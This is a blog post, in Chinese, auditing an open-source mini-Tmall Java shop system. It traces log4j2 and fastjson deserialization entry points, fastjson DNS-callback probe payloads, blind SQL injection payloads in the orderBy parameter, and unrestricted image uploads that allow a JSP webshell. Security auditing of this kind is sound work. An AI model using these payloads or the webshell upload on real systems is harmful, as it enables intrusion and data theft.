迷你天猫商城系统审计

前言

开始学习审计一些开源系统

分析

首先从一些依赖入手,看看有没有nday可以打

<!-- log4j2 -->
<dependency>
<groupId>org.apache.logging.log4j</groupId>
<artifactId>log4j-core</artifactId>
<version>2.10.0</version>
</dependency>
<dependency>
<groupId>org.apache.logging.log4j</groupId>
<artifactId>log4j-api</artifactId>
<version>2.10.0</version>
</dependency>

<!-- Json -->
<dependency>
<groupId>com.alibaba</groupId>
<artifactId>fastjson</artifactId>
<version>1.2.58</version>
</dependency>

有log4j2和fastjson,而且都是满足漏洞利用的版本条件

log4j

全局搜索logger.info

可以利用的在普通用户上传头像处以及管理员上传头像处,还有新增分类上传图片处都有

// 上传产品类型图片-ajax
@ResponseBody
@RequestMapping(value = "admin/uploadCategoryImage", method = RequestMethod.POST, produces = "application/json;charset=utf-8")
public String uploadCategoryImage(@RequestParam MultipartFile file, HttpSession session) {
String originalFileName = file.getOriginalFilename();
//漏洞点
logger.info("获取图片原始文件名: {}", originalFileName);
String extension = originalFileName.substring(originalFileName.lastIndexOf('.'));
String fileName = UUID.randomUUID() + extension;
String filePath = session.getServletContext().getRealPath("/") + "res/images/item/categoryPicture/" + fileName;

logger.info("文件上传路径:{}", filePath);
JSONObject object = new JSONObject();
try {
logger.info("文件上传中...");
file.transferTo(new File(filePath));
logger.info("文件上传完成");
object.put("success", true);
object.put("fileName", fileName);
} catch (IOException e) {
logger.warn("文件上传失败!");
e.printStackTrace();
object.put("success", false);
}

return object.toJSONString();
}

image-20230328134244375

image-20230328134222862

fastjson

fastjson具体我还没去跟过链子,但是之前粗略的看了下文章,它是通过jndi注入导致的RCE,在反序列化过程中会使用JSON.parse()JSON.parseObject() 这两个方法.

parseObject() 相比parse()多执行了 JSON.toJSON(obj),在处理过程中会调用反序列化目标类的所有 setter 和 getter 方法。

于是我们就可以全局搜索这两个方法

可以定位到ProductController,在添加产品信息和更新产品信息处都有

@RequestParam String propertyJson/* 产品属性JSON */,
@RequestParam String propertyAddJson/* 产品添加属性JSON */,
@RequestParam String propertyUpdateJson/* 产品更新属性JSON */,

JSONObject object = JSON.parseObject(propertyJson);
JSONObject object = JSON.parseObject(propertyAddJson);
object = JSON.parseObject(propertyUpdateJson);

利用poc验证{"@type":"java.net.Inet4Address","val":"dnslog"}

image-20230328145917844

image-20230328145833392

其他可利用的poc

{"zeo":{"@type":"java.net.Inet4Address","val":"dnslog"}}
{"@type":"java.net.Inet4Address","val":"dnslog"}
{"@type":"java.net.Inet6Address","val":"dnslog"}
{"@type":"java.net.InetSocketAddress"{"address":,"val":"dnslog"}}
{"@type":"com.alibaba.fastjson.JSONObject", {"@type": "java.net.URL", "val":"dnslog"}}""}
{{"@type":"java.net.URL","val":"dnslog"}:"aaa"}
Set[{"@type":"java.net.URL","val":"dnslog"}]
Set[{"@type":"java.net.URL","val":"dnslog"}
{{"@type":"java.net.URL","val":"dnslog"}:0

常规漏洞审计

sql注入

我们可以知道是用mybatis操作数据库的,以之前审计sql注入的经验,我们可以想到搜索${这种关键字,看是否有没有做过滤的,还有就是注意order by, like等关键字,他们采用#{}会报错,所以如果没做好过滤就会造成sql注入

首先我们在UserMapper.xml中找到

<select id="select" resultMap="userMap">
...
<if test="orderUtil != null">
ORDER BY ${orderUtil.orderBy}<if test="orderUtil.isDesc">desc </if>
</if>
...

我们定位到dao层的userMap的select

@Mapper
public interface UserMapper {
Integer insertOne(@Param("user") User user);
Integer updateOne(@Param("user") User user);

List<User> select(@Param("user") User user, @Param("orderUtil") OrderUtil orderUtil, @Param("pageUtil") PageUtil pageUtil);
User selectOne(@Param("user_id") Integer user_id);
User selectByLogin(@Param("user_name") String user_name, @Param("user_password") String user_password);
Integer selectTotal(@Param("user") User user);
}

然后接着cmd+B,找谁实现了select

@Override
public List<User> getList(User user, OrderUtil orderUtil, PageUtil pageUtil) {
return userMapper.select(user,orderUtil,pageUtil);
}

find usages找谁调用了这个getList

有两处但是goUserManagePage中的getList,它传入的orderUtil为null

public String goUserManagePage(HttpSession session, Map<String, Object> map){
logger.info("获取前十条用户信息");
PageUtil pageUtil = new PageUtil(0, 10);
List<User> userList = userService.getList(null, null, pageUtil);
...

我们看下面一处

OrderUtil orderUtil = null;
if (orderBy != null) {
logger.info("根据{}排序,是否倒序:{}",orderBy,isDesc);
orderUtil = new OrderUtil(orderBy, isDesc);
}

JSONObject object = new JSONObject();
logger.info("按条件获取第{}页的{}条用户", index + 1, count);
PageUtil pageUtil = new PageUtil(index, count);
List<User> userList = userService.getList(user, orderUtil, pageUtil);

orderBy和isDesc在Url中传入,我们可控

@RequestParam(required = false) String orderBy/* 排序字段 */,
@RequestParam(required = false,defaultValue = "true") Boolean isDesc/* 是否倒序 */,

image-20230328160323105

除了这个地方,我们按照同样的办法,可以找到后台还有个产品查询也存在相同的注入

//按条件查询产品-ajax
@ResponseBody
@RequestMapping(value = "admin/product/{index}/{count}",
....
OrderUtil orderUtil = null;
if (orderBy != null) {
logger.info("根据{}排序,是否倒序:{}",orderBy,isDesc);
orderUtil = new OrderUtil(orderBy, isDesc);
}

JSONObject object = new JSONObject();
logger.info("按条件获取第{}页的{}条产品", index + 1, count);
PageUtil pageUtil = new PageUtil(index, count);
List<Product> productList = productService.getList(product, product_isEnabled_array, orderUtil, pageUtil);
---
Parameter: #1* (URI)
Type: boolean-based blind
Title: Boolean-based blind - Parameter replace (original value)
Payload: http://localhost:8088/tmall/admin/product/0/10?product_name=1&category_id=0&product_sale_price=&product_price=&product_isEnabled_array=0&product_isEnabled_array=1&product_isEnabled_array=2&orderBy=(SELECT (CASE WHEN (8468=8468) THEN '' ELSE (SELECT 2634 UNION SELECT 5782) END))&isDesc=true

Type: time-based blind
Title: MySQL >= 5.0.12 time-based blind - Parameter replace
Payload: http://localhost:8088/tmall/admin/product/0/10?product_name=1&category_id=0&product_sale_price=&product_price=&product_isEnabled_array=0&product_isEnabled_array=1&product_isEnabled_array=2&orderBy=(CASE WHEN (7841=7841) THEN SLEEP(5) ELSE 7841 END)&isDesc=true
---

还有一个前台的注入,在查询产品处,原理也是一样的,但是这个只能跑时间盲注。

@RequestMapping(value = "product/{index}/{count}", method = RequestMethod.GET)
public String searchProduct(HttpSession session, Map<String, Object> map,
@PathVariable("index") Integer index/* 页数 */,
@PathVariable("count") Integer count/* 行数*/,
@RequestParam(value = "category_id", required = false) Integer category_id/* 分类ID */,
@RequestParam(value = "product_name", required = false) String product_name/* 产品名称 */,
@RequestParam(required = false) String orderBy/* 排序字段 */,
@RequestParam(required = false, defaultValue = "true") Boolean isDesc/* 是否倒序 */) {
logger.info("整合搜索信息");
Product product = new Product();
OrderUtil orderUtil = null;
String searchValue = null;
Integer searchType = null;

if (category_id != null) {
product.setProduct_category(new Category().setCategory_id(category_id));
searchType = category_id;
}
if (product_name != null) {
product.setProduct_name(product_name);
}
if (orderBy != null) {
logger.info("根据{}排序,是否倒序:{}", orderBy, isDesc);
orderUtil = new OrderUtil(orderBy, isDesc);
}
...
...
productList = productService.getList(product, new Byte[]{0, 2}, orderUtil, pageUtil);

---
Parameter: orderBy (GET)
Type: time-based blind
Title: MySQL >= 5.0.12 AND time-based blind (query SLEEP)
Payload: orderBy=product_create_date AND (SELECT 8418 FROM (SELECT(SLEEP(5)))igIE)&isDesc=true&category_id=
---

任意文件上传

springboot中如果需要对jsp进行解析,就要引入相关依赖,对于一些springboot项目中,是不需要jsp解析的,所以上传jsp🐎就是无效的。但是这个项目中,恰好有

<!-- Jsp compatible-->
<dependency>
<groupId>javax.servlet</groupId>
<artifactId>jstl</artifactId>
</dependency>
<dependency>
<groupId>org.apache.tomcat.embed</groupId>
<artifactId>tomcat-embed-jasper</artifactId>
<scope>provided</scope>
</dependency>
<dependency>
<groupId>org.apache.taglibs</groupId>
<artifactId>taglibs-standard-impl</artifactId>
<version>1.2.5</version>
</dependency>

我们在之前的log4j中也发现了有头像上传点,全局搜upload,也发现这里,所以就先看到这个地方

@ResponseBody
@RequestMapping(value = "admin/uploadAdminHeadImage", method = RequestMethod.POST, produces = "application/json;charset=UTF-8")
public String uploadAdminHeadImage(@RequestParam MultipartFile file, HttpSession session) {
String originalFileName = file.getOriginalFilename();
logger.info("获取图片原始文件名:{}", originalFileName);
assert originalFileName != null;
String extension = originalFileName.substring(originalFileName.lastIndexOf('.'));
//生成随机名
String fileName = UUID.randomUUID() + extension;
//获取上传路径
String filePath = session.getServletContext().getRealPath("/") + "res/images/item/adminProfilePicture/" + fileName;

logger.info("文件上传路径:{}", filePath);
JSONObject jsonObject = new JSONObject();
try {
logger.info("文件上传中...");
file.transferTo(new File(filePath));
logger.info("文件上传成功!");
jsonObject.put("success", true);
jsonObject.put("fileName", fileName);
} catch (IOException e) {
logger.warn("文件上传失败!");
e.printStackTrace();
jsonObject.put("success", false);
}
return jsonObject.toJSONString();
}

可以发现他并没有对后缀,内容啥的做任何限制,获取文件路径后就直接上传了,而且过滤器中也没有也没有相关过滤。

只有前端对后缀做了限制,但是等于没做,直接把accept删了就行,直接上传jsp🐎

image-20230328205950383

在浏览器中用f12查看图片路径,拼接上文件名直接连接

image-20230328205038111

这个是后台的上传,相同的地方简单看了下应该还有这些地方

admin/uploadCategoryImage
admin/uploadProductImage
user/uploadUserHeadImage

上传文件代码基本上是一样的。

迷你天猫商城系统审计

https://lhxhl.github.io/2023/03/28/tmall/

作者

秋秋晚

发布于

2023-03-28

更新于

2023-03-28

许可协议

评论

:D 一言句子获取中...